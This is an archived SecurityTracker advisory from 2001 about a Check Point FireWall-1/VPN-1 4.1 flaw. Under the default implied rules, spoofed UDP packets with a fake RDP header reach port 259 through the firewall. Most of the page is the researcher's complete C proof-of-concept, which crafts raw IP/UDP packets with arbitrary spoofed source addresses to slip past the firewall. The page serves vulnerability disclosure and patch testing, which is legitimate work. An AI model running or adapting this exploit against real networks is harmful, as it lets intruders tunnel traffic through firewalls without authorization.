SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Firewall)  >   FireWall-1/VPN-1 Vendors:   Check Point
(Proof of Concept Code Released) Re: Check Point FireWall-1 and VPN-1 Both Pass Unauthorized RDP Packets
SecurityTracker Alert ID:  1001999
SecurityTracker URL:  http://securitytracker.com/id/1001999
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 14 2001
Impact:   Host/resource access via network
Exploit Included:  Yes  
Version(s): Check Point VPN-1(TM) & FireWall-1(R) Version 4.1; Build 41439 [VPN + DES], Build 41439 [VPN + DES + STRONG], Build 41716 [VPN + DES + STRONG] (SP2) were tested.
Description:   Inside Security reported a vulnerability in Check Point's FireWall-1 and VPN-1 products. The security hole allows any remote user to send RDP packets through the firewall in either direction.

If the product is configured to use the default 'implied rules' (used for firewall management communications), a remote user can create a fake Reliable Data Protocol (RDP) packet and send it through the firewall, in either direction, to any host.

FireWall-1 uses RDP on top of the User Datagram Protocol (UDP) to establish encrypted management sessions. It is reported that only the destination port (259) and the RDP command are verified by FireWall-1. As a result, a remote user can add a fake RDP header to normal UDP traffic to pass any data to port 259 on any remote host on either side of the firewall.

This vulnerability could allow unauthorized tunnels to be set up through the firewall.

The vulnerability is reportedly due to INSPECT code in the macro 'accept_fw1_rdp' that specifies that any UDP packet destined for port 259 and containing the RDPCRYPT command type (e.g., RDPCRYPTCMD,RDPUSERCMD,RDPSTATUSCMD) or the RDPCRYPT_RESTART command type (RDPCRYPT_RESTARTCMD) is permitted to pass though the firewall.

Impact:   A remote user can send data through the firewall without authorization. A tunnel could be set up to pass information through the firewall in either direction.
Solution:   The vendor has provided a fix. See the Vendor URL or the Message History for information on how to obtain the fix.
Vendor URL:  www.checkpoint.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (AIX), UNIX (HP/UX), UNIX (Solaris - SunOS), Windows (NT), Windows (2000)

Message History:   This archive entry is a follow-up to the message listed below.
Jul 9 2001 Check Point FireWall-1 and VPN-1 Both Pass Unauthorized RDP Packets



 Source Message Contents

Subject:  FW-1 RDP Vulnerability Proof of Concept Code


--WIyZ46R2i8wDzkSu
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


As announced earlier this week, we hereby post the proof of concept 
code for the FireWall-1 RDP Bypass Vulnerability. We think it doesn't
make sense to withhold it any longer for the following reasons.

1.) This is no "Script-Kiddie" exploit, it will not provide anyone
    with a means to instantly break into foreign hosts.

2.) Any cracker with decent skills and access to a Firewall-1 
    machine for testing purposes will in the meantime have 
    developed his/her own code to make use of this vulnerability.

3.) Patches and workarounds have been provided by Checkpoint and
    others. This proof of concept code will aid administrators in
    testing their systems and the patches/workarounds they applied.  


Some technical notes:

There has been some confusion about the term "RDP". There is actually
a protocol called "RPD (Reliable Datagram Protocol)" described in
RFC 908, which is directly based on the IP protocol. However this is 
not the same as the proprietary "Checkpoint RDP protocol".

The Checkpoint RDP protocol is basically a UDP service with port 259,
the packets for this service therefore have the following structure:

                      #######################
                      #     IP Header       #
                      #######################
                      #    UDP Header       #
                      #######################
                      #    RDP Header       #
                      #######################
                      #      Payload        #
                      #######################
  
The RDP header simply consists of:
                      
                  bit 0                    31
                      ######################
                      #  RDP Magic Number  #
                      ###################### 
                      #    RDP Command     #
                      ######################

or, expressing it in C
   
struct rdp_hdr
 {
  unsigned int rdp_magic;  
  unsigned int rdp_cmd;
 } rdp_head;

The value of the RDP Magic Number has turned out to be irrelevant for
our purposes. The numbers of those RDP commands that will be permitted 
to pass the firewall without further processing follows straight from 
the INSPECT include file $FWDIR/crypt.def.

In our code, we construct packets including IP and UDP header to allow 
testing with arbitrary (spoofed) source IP adresses and ports.  
 
This code has been written and tested on SuSE Linux 7.1 with 
kernel 2.4.2. It should (possibly with minor changes) compile on
any other linux platform

Jochen

-- 
Jochen Bauer                        |    Tel: +49711 6868 7030 
Inside Security IT Consulting GmbH  |    Fax: +49711 6868 7031
Nobelstr. 15                        |    email: jtb@inside-security.de
70569 Stuttgart, Germany            |    http://www.inside-security.de

--WIyZ46R2i8wDzkSu
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="fw1_bypass_rdp.c"

/*
Checkpoint FW-1 Version 4.1 "RDP Bypass Vulnerability" proof of concept code
Copyright 2001 Jochen Bauer, Inside Security IT Consulting GmbH <jtb@inside-security.de>
Compiled and tested on SuSE Linux 7.1
This program is for testing purposes only, any other use is prohibited!
*/

#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>

/*See $FWDIR/lib/crypt.def for the following definitions.*/
/*We set the highest bit, so that the RDP commands are */
/*not members of the sets RDPCRYPTF and RDPCRYPT_RESTARTF*/
#define RDP_PORT 259 /*RDP port*/
#define RDPCRYPT_RESTARTCMD 101|0x80000000 
#define RDPCRYPTCMD 100|0x80000000
#define RDPUSERCMD 150|0x80000000
#define RDPSTATUSCMD 128|0x80000000

/*---------------Checksum calculation--------------------------------*/
unsigned short in_cksum(unsigned short *addr,int len)
{
 register int nleft=len;
 register unsigned short *w=addr;
 register int sum=0;
 unsigned short answer=0;

 while(nleft>1)
  {
   sum+=*w++;
   nleft-=2;
  }
 if(nleft==1)
  {
   *(u_char *)(&answer)=*(u_char *)w;
   sum+=answer;
  }
 sum=(sum >> 16)+(sum & 0xffff);
 sum+=(sum >> 16);
 answer=~sum;
 return(answer);
}
/*----------------------------------------------------------------------*/

/*------------Send spoofed UDP packet-----------------------------------*/
int send_udp(int sfd,unsigned int src,unsigned short src_p,
             unsigned int dst,unsigned short dst_p,char *buffer,int len)

{
 struct iphdr ip_head;
 struct udphdr udp_head;
 struct sockaddr_in target;
 char *packet;
 int i;

 struct udp_pseudo        /*the udp pseudo header*/
 {
  unsigned int src_addr;
  unsigned int dst_addr;
  unsigned char  dummy;
  unsigned char  proto;
  unsigned short length;
 } pseudohead;

 struct help_checksum   /*struct for checksum calculation*/
 {
  struct udp_pseudo pshd;
  struct udphdr udphd;
 } udp_chk_construct;

 /*Prepare IP header*/
 ip_head.ihl      = 5;     /*headerlength with no options*/
 ip_head.version  = 4;
 ip_head.tos      = 0;
 ip_head.tot_len  = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
 ip_head.id       = htons(30000 + (rand()%100));
 ip_head.frag_off = 0;
 ip_head.ttl      = 255;
 ip_head.protocol = IPPROTO_UDP;
 ip_head.check    = 0;    /*Must be zero for checksum calculation*/
 ip_head.saddr    = src;
 ip_head.daddr    = dst;

 ip_head.check    = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));

 /*Prepare UDP header*/
 udp_head.source = htons(src_p);
 udp_head.dest = htons(dst_p);
 udp_head.len   = htons(sizeof(struct udphdr)+len);
 udp_head.check   = 0;

 /*Assemble structure for checksum calculation and calculate checksum*/
 pseudohead.src_addr=ip_head.saddr;
 pseudohead.dst_addr=ip_head.daddr;
 pseudohead.dummy=0;
 pseudohead.proto=ip_head.protocol;
 pseudohead.length=htons(sizeof(struct udphdr)+len);
 udp_chk_construct.pshd=pseudohead;
 udp_chk_construct.udphd=udp_head;
 packet=malloc(sizeof(struct help_checksum)+len);  
 memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/ 
 memcpy(packet+sizeof(struct help_checksum),buffer,len);         /*checksum calculation*/  
 udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+len);
 free(packet);

 /*Assemble packet*/
 packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
 memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
 memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
 memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len);

 /*Send packet*/
 target.sin_family     = AF_INET;
 target.sin_addr.s_addr= ip_head.daddr;
 target.sin_port       = udp_head.source;
 i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+len,0,
                    (struct sockaddr *)&target,sizeof(struct sockaddr_in));
 free(packet);
 if(i<0)
   return(-1); /*Error*/
 else
   return(i); /*Return number of bytes sent*/
}
/*---------------------------------------------------------------------*/

int main(int argc, char *argv[])
{
 int i;
 unsigned int source,target;
 unsigned short int s_port,d_port;
 char payload[]="abcdefg"; /*payload length must be a multiple of 4*/
 char *data;

 /*RDP header, refer to $FWDIR/lib/tcpip.def*/
 struct rdp_hdr
 {
  unsigned int rdp_magic;  
  unsigned int rdp_cmd;
 } rdp_head;

 if(argv[1]==NULL || argv[2]==NULL || argv[3]==NULL)
  {
   printf("Usage: %s source_ip source_port dest_ip\n",argv[0]);
   return(1);
  }
 else
  { 
   source=inet_addr(argv[1]);
   s_port=atoi(argv[2]);
   target=inet_addr(argv[3]);
   d_port=RDP_PORT;
  }

 /* the command number can be one of the following: */
 /* RDPCRYPT_RESTARTCMD, RDPCRYPTCMD, RDPUSERCMD, RDPSTATUSCMD */
 rdp_head.rdp_cmd=htonl(RDPCRYPT_RESTARTCMD);
 rdp_head.rdp_magic=htonl(12345); /*seems to be irrelevant*/
 
 /*Assemble fake RDP header and payload*/
 data=malloc(sizeof(struct rdp_hdr)+strlen(payload)+1);
 memcpy(data,&rdp_head,sizeof(struct rdp_hdr));
 memcpy(data+sizeof(struct rdp_hdr),payload,strlen(payload)+1);

 if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)  /*open sending socket*/
  {
   perror("socket");
   exit(1);
  }
 i=send_udp(i,source,s_port,target,d_port,data,sizeof(struct rdp_hdr)+strlen(payload)+1);
 if(i<0)
   printf("Error, packet not sent\n");
 else
   printf("Sent %u bytes\n",i);
 return(0); 
}

--WIyZ46R2i8wDzkSu--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC